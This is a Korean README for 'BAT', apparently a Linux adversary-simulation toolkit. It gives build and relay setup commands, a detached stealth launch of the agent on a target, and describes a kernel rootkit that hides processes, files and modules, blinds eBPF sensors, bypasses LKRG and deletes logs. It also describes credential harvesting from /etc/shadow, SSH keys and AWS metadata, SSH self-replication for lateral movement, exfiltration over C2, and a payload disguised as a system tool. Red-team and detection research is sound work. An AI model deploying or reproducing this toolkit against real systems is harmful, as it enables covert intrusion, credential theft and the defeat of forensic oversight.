
풀스펙트럼 Linux 적대자 시뮬레이션 플랫폼으로, 커널 수준의 은닉, C2 비콘 통신, 권한 상승, 자격 증명 수집, 측면 이동, 아티팩트 파괴 기능을 제공합니다. 레드 팀 운영 및 탐지 연구를 위해 설계되었습니다.
BAT는 Linux와 Windows를 위한 현실적이고 진화하는 적대자 위협 모델입니다. C2 프레임워크도 아니고 루트킷도 아닙니다. C2 통신, 커널 수준 은닉 루트킷 모듈, 사용자 공간 회피, 권한 상승, 지속성, 프로세스 인젝션, 자격 증명 수집, 외부 유출, 그리고 측면 이동을 하나의 응집된 적대자로 통합하는 완전한 위협 시뮬레이션 플랫폼입니다. 설계 목표는 현재 어떤 탐지 시스템이 탐지하는지와 무관하게 2026년에 달성 가능한 가장 정교하고 현실적인 Linux 위협이 되는 것입니다.
이는 연구 쌍에서 적대자 쪽에 해당합니다. Aura 프레임워크는 Bat을 탐지하도록 진화합니다. Bat은 Aura를 회피하도록 진화합니다. 적대자는 결코 탐지기에 의해 제약받지 않습니다.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. 설정```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
시크릿 생성: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
바이너리는 `bin/`에 생성됩니다.
### 4. 릴레이 부트스트랩```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
대상에 에이전트를 배포하십시오:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
에이전트는 하나의 비콘 간격(기본 30초) 내에 bat-server에 <agentID>@<hostname>으로 나타납니다.
커널 스텔스 계층(bat-stealth.ko, 소스는 kperf-qos/에 위치)은 고급 커널 루트킷 연구 프레임워크인 Singularity를 직접 기반으로 구축되었습니다. 4개의 핵심 모듈이 포팅되어 적용되었습니다:
bpf_hook: bpf(2) 및 모든 eBPF 통신 프리미티브를 가로챕니다. 숨겨진 PID에 대해 모든 eBPF 센서는 아무런 텔레메트리도 수신하지 못합니다. 적용 사항: ARCH_SYS("bpf")가 x86 전용 __x64_sys_bpf를 대체하며, ARM64용 __ia32_sys_bpf는 제거되었습니다. HIDDEN_PORT는 sysfs로 구성 가능한 전역 변수로 대체되었습니다.
hiding_fs: 완전한 파일시스템 은닉: getdents64/getdents 필터링, stat/statx/newfstatat nlink 조정, openat/access/faccessat /proc/<pid> 차단, chdir 및 readlink 차단. 5개의 Singularity 모듈(hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink)에서 통합되었습니다. 적용 사항: REGS_ARGn 매크로가 직접 레지스터 접근을 대체하며, should_hide_path()는 런타임 구성 가능한 bat_hidden_paths[]를 위해 확장되었습니다.
hide_module: 모든 커널 모듈 목록에서 bat-stealth.ko를 제거합니다. 확장 사항: Singularity는 이미 list.prev를 저장합니다. 이 버전은 list.prev와 list.next를 모두 저장하고 둘 다 포이즈닝하여 양방향 순회를 차단합니다. module_unhide()가 추가되어 되돌릴 수 있는 제거가 가능합니다. K-99는 delete_module(2)이 이름으로 모듈을 찾을 수 있도록 이를 필요로 합니다.
lkrg_bypass: 숨겨진 프로세스에 대한 LKRG 강제 적용을 억제합니다: 숨겨진 태스크에 대한 SIGKILL을 차단하도록 시그널 전달을 후킹하고, LKRG 로그 메시지를 삭제하도록 vprintk_emit을 후킹하며, 에이전트 실행 중 UMH 검증을 비활성화합니다. 아키텍처 변경 없이 직접 포팅되었습니다.
다음 모듈은 독립적으로 개발되었습니다:
become_root: commit_creds(prepare_kernel_cred(NULL))를 호출하여 uid=0을 부여하는 시그널 59 후크 (K-03)selfdefense: LiME 메모리 수집을 차단하고, kallsyms 항목을 숨기며, 에이전트 심볼에 대한 kprobe를 차단하고, 열거 시도가 있으면 모듈을 다시 숨깁니다.audit: 숨겨진 PID에 대한 auditd 이벤트를 억제합니다.sysrq_hook: SysRq-T를 가로채 태스크 덤프에서 숨겨진 프로세스를 제외합니다.taskstats_hook: 숨겨진 PID에 대한 NETLINK taskstats 응답을 필터링합니다.reset_tainted + clear_taint_dmesg: /proc/sys/kernel/tainted를 0으로 설정하고 모듈 로드 증거가 포함된 dmesg 라인을 필터링합니다.hooks_write: 모든 커널 쓰기 경로(write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat)를 가로채 syslog 또는 journald에 도달하기 전에 에이전트 문자열과 일치하는 로그 항목을 삭제합니다.pid_manager: 자식 프로세스 전반에 걸쳐 숨겨진 PID 집합을 유지하는 fork tracepoint입니다.전체 스택은 에이전트와 모든 아티팩트를 ps, top, ss, netstat, lsof, 숨겨진 경로의 파일시스템 탐색, lsmod, sysfs, kallsyms, auditd, 모든 eBPF 센서, LKRG, LiME 및 SysRq 포렌식으로부터 보이지 않게 만듭니다.
| ATT&CK ID | 기법 | Bat 구현 |
|---|---|---|
| T1036.005 | Masquerading: Match Legitimate Name | TTP 1: prctl(PR_SET_NAME)을 kworker/0:1로 설정 |
| T1055 | Process Injection | TTP 11: 실행 중인 프로세스에 shellcode + rawsock 스레드 주입 |
| T1205.001 | Traffic Signaling (Magic Packet) | UDP/ICMP 트리거가 휴면 상태의 에이전트를 깨웁니다. |
| T1071.001 | Web Protocols C2 | :443 또는 :9443을 통한 HTTPS 비콘 |
| T1573.001 | Encrypted Channel: Symmetric | TLS를 통한 HMAC-SHA256 인증 비콘 |
| T1090.004 | Proxy: Domain Fronting | CDN 프로필이 에이전트 트래픽을 엣지 프록시 계층을 통해 라우팅합니다. |
| T1574.006 | Hijack Execution: LD_PRELOAD | TTP 10: /etc/ld.so.preload를 통한 bat-rootkit.so |
| T1014 | Rootkit | bat-stealth.ko: PID, 포트, 파일, 모듈, 자신을 숨깁니다. |
| T1562.001 | Impair Defenses: Disable Tools | bpf_hook이 eBPF 센서를 블라인드 처리하고, lkrg_bypass는 LKRG를 비활성화합니다. |
| T1562.012 | Impair Defenses: Disable Linux Audit | audit 모듈이 숨겨진 PID에 대한 auditd 이벤트를 억제합니다. |
| T1068 | Privilege Escalation via Exploitation | K-03: 시그널 59가 commit_creds를 트리거하여 uid=0으로 전환 |
| T1543.002 | Create/Modify System Process: Systemd | TTP 6: systemd 유닛 지속성 |
| T1053.003 | Scheduled Task: Cron | TTP 6: crontab 지속성 |
| T1070.002 | Clear Linux Logs | clear_taint_dmesg가 dmesg를 필터링하고, reset_tainted는 taint 플래그를 0으로 설정하며, hooks_write는 커널 내에서 로그 항목을 삭제합니다. |
| T1070.004 | Indicator Removal: File Deletion | TTP 222 자체 파괴: 전체 아티팩트 삭제 |
| T1003 | Credential Dumping | TTP 7/23: /etc/shadow, 셸 기록, 환경 변수 비밀값 |
| T1552.004 | Unsecured Credentials: Private Keys | TTP 21: SSH 키, known_hosts, 설정 파일 |
| T1552.005 | Cloud Instance Metadata | TTP 23: AWS IMDS 자격 증명 수집 |
| T1018 | Remote System Discovery | TTP 20/34: ARP 열거 + /16 CIDR 스캔 |
| T1046 | Network Service Scanning | TTP 20/34: 발견된 호스트에 대한 TCP 포트 스캔 |
| T1021.004 | Lateral Movement via SSH | TTP 22/35: 발견된 호스트로 SCP 자가 복제 후 분리 실행 |
| T1078 | Valid Accounts | TTP 22/35: 측면 이동 시 수집된 SSH 키 사용 |
| T1048 | Exfiltration Over Alternative Protocol | TTP 30/31/32: 비콘 채널을 통한 파일 및 디렉터리 유출 |
| T1059.004 | Unix Shell Execution | TTP 4: 임의 명령 실행 |
| T1027 | Obfuscated Files or Information | garble -literals -tiny -seed=random; XOR(0x5A) 설정 인코딩 |
| T1620 | Reflective Code Loading | TTP 11: 대상 프로세스 주소 공간에서 실행되는 shellcode, memfd_create를 통해 로드되는 bat-stealth.ko |
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| Component | 역할 |
|---|---|
| `bat-agent` | 에이전트. 비콘을 보내고 TTP를 실행합니다. Garble로 난독화됨. |
| `bat-server` | 운영자 콘솔. 대화형 CLI. 모든 에이전트를 관리합니다. |
| `netshell` | 전달 바이너리. 시스템 도구처럼 보이지만 완전한 에이전트입니다. |
| `bat-rootkit.so` | LD_PRELOAD 사용자 영역 루트킷. 파일, PID, 포트, 환경 변수를 숨깁니다. |
| `bat-stealth.ko` | 커널 은닉 계층 (Singularity 기반). |
| `kcc-server` | 릴레이 서비스. 대상의 실행 중인 커널에 맞춰 `bat-stealth.ko`를 온디맨드로 컴파일합니다. |
| `relay/` | 릴레이 인프라: nginx, TLS, 설정, 동기화, 전달 스크립트. |
---
## 우회된 방어